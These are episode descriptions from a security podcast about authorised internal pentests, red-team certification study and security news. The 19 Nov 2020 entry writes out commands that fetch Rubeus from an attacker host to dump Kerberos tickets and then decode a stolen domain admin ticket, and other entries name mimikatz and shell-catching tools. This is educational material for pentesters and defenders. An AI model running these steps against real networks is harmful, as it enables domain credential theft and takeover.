7MS #441: SharpGPOAbuse

Today's episode continues part 1 of our series on the Certified Red Team Professional certification. Key points from today's episode include: It's probably a better idea to run Bloodhound on your local machine so you don't crush the student VM's resources Running Invoke-Command is one of my new favorite things. Check this post for a bunch of cheatsheet tips for running commands in PowerShell against other hosts. Silver, gold and skeleton key attacks in AD - are they awesome? Yes? Do I see myself using those in short-term pentest enagements? Meh. Wanna build a home lab to do some of these fun pentest stuff? Our buddy k3nundrum in Slack recommended we check out this. It looks awesome. And the devs of the tool have a video on it here. When you're popping shells and privs all over the place in the lab, it can be confusing to figure out which machines you have what privileges on. I like using the klist command. Or, from a mimikatz prompt, try kerberos::list /export.

17 Dec 202041min

Welp, I need another certification like I need a hole in the head, but that didn't stop me from signing up for the Certified Red Team Professional. So I've started a series on sharing what I'm learning as I proceed through the certification path. (We're also talking about this on the 7MS forums) Here are some of the highlights from week 1: Boy oh boy is PowerView handy for extracting juicy info out of Active Directory. It works well when served with a side order of the Microsoft signed DLL for the ActiveDirectory PowerShell module I wouldn't say this course is for beginners. You will get some high level intro to PowerShell, Active Directory and pentesting, but you will need to do a ton of self-study and banging around in the lab to fill in some skill gaps. When trying to pop a Jenkins box, I learned about a few new helpful tools I'd never played with before: HFS - simple HTTP file server Powercat - for catching shells! Then on a personal front, I have a few updates to share as well: The Thanksgiving surprise that brought tears to my eyes The new piece of exercise equipment in the Johnson household that made my wife reach for a barf bag A mysterious sound in the house that lead to the discovery of dead things over Thanksgiving break

9 Dec 202056min

Happy December! Today I virtually sat down with Christopher Fielder of Arctic Wolf, who started his career in security at 18 (I was just playing a lot of video games when I was that old)! Christopher has served in the Air Force, worked for a university and SANS, served for some three-letter organizations - and more! Christopher and I had a great chat about a variety of security topics, including: Threat hunting - why it's a term that means so many things to different people, how to get started in it and how to start building a threat hunting team Threat intel - its relationship to threat hunting, and how to make sense of the jillions of intel feeds out there Pentesting your MDR/SIEM - we talk about our gist on evaluating an MDR/SIEM, and how to throw some technical tests at these systems to figure out if they're worth the cost!

2 Dec 202056min

Happy Thanksgiving! While the turkey and pie settle in your belly, why not also digest some fantastic security news stories with our pal Gh0sthax? Today's stories include: It was another epic month of patching - both Threatpost and Krebs have great coverage of what you need to know. We don't support software pirating, but it's interesting that we just got a demo of Cobalt Strike spun up, and now the source code was leaked. Always download software updates from their source, not from not-so-trustworthy sources like random search results in Google and pop-up boxes. As a follow up to a story from last month, ransomware was not to blame for the death of a woman in Germany.

26 Nov 202041min

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features: Great blue team tools alerting our customer to a lot of the stuff we were doing An EDR that we tried to beat up (but it beat us up instead) SharpGPOAbuse which we talked about extensively last week Separation of "everyday" accounts from privileged accounts Multi-factor authentication bypass! Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation. The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds: SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with: echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight. We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

19 Nov 20201h 9min

Hi! Sorry to be so late with this episode, but I'm excited to share with you another fun tale of pentest pwnage! Key points from today's episode include: We do not do these episodes to brag or put down any company about their security posture. We do do (heh, I said "do do") these episodes to share what we're learning about pentesting it helps you become a better network defender and/or offender! Early in an engagement it can be fruitful to run Pcredz to find goodies in the clear like hashes, CC numbers, SNMP traps and more! Run hashes right through the Hashes.org cracked Pwned Passwords list for more management-level impact on your efforts. Do the same with Kerberoastable accounts Once you've gotten a local or domain admin account, use CrackMapExec to dump a workstation's local hashes, then do something VERY important that I just learned this week (details in today's episode) to maybe get insta-DA!

8 Nov 202033min

Happy October and merry Halloween everybody! We're back with our buddy Joe "the machine" Skeen who is also now a Principal Security Engineer for 7MS! He's also working on a new cert, and speaking of certs, 7MS is now PCIP certified! Today's great cyber stories include: Azure AD is a single point of failure in many networks Ransomware sophistication continues to grow - as demonstrated in this story, this one and this one Ransomware such as Ryuk can go from phishing email to total domain domination in 5 hours or less Don't forget to patch - Microsoft remediated some doozies! Something like 0 patch looks particularly interesting to aid in your patching efforts (not a sponsor, but maybe some day ;-) P.S. We've got a Halloween Webinar coming up Friday with our friends at Netwrix - sign up and we'll see you there!

29 Okt 20201h 9min